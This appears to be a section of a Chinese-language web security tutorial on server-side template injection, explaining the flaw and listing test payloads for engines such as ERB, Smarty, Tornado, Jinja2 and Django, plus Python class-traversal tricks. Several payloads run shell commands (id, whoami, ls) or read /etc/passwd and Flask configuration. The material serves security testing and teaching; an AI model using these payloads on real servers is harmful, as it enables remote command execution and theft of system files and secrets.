广告

4.11.1. 简介
模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。
4.11.3. 测试用例
- 简单的数学表达式,
{{ 7+7 }} => 14
- 字符串表达式
{{ "ajin" }} => ajin
-
- Ruby
-
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
-
- Java
-
${7*7}
-
- Twig
-
{{7*7}}
-
- Smarty
-
{php}echo `id`;{/php}
-
- AngularJS
-
$eval('1+1')
-
- Tornado
-
- 引用模块
{% import module %}
- =>
{% import os %}{{ os.popen("whoami").read() }}
- 引用模块
-
- Flask/Jinja2
-
{{ config }}
{{ config.items() }}
{{get_flashed_messages.__globals__['current_app'].config}}
{{''.__class__.__mro__[-1].__subclasses__()}}
{{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}
{{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
-
- Django
-
{{ request }}
{% debug %}
{% load module %}
{% include "x.html" %}
{% extends "x.html" %}
4.11.5. 相关属性
4.11.5.1. __class__
python中的新式类(即显示继承object对象的类)都有一个属性 __class__
用于获取当前实例对应的类,例如 "".__class__
就可以获取到字符串实例对应的类
4.11.5.2. __mro__
python中类对象的 __mro__
属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。
4.11.6. 常见Payload
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )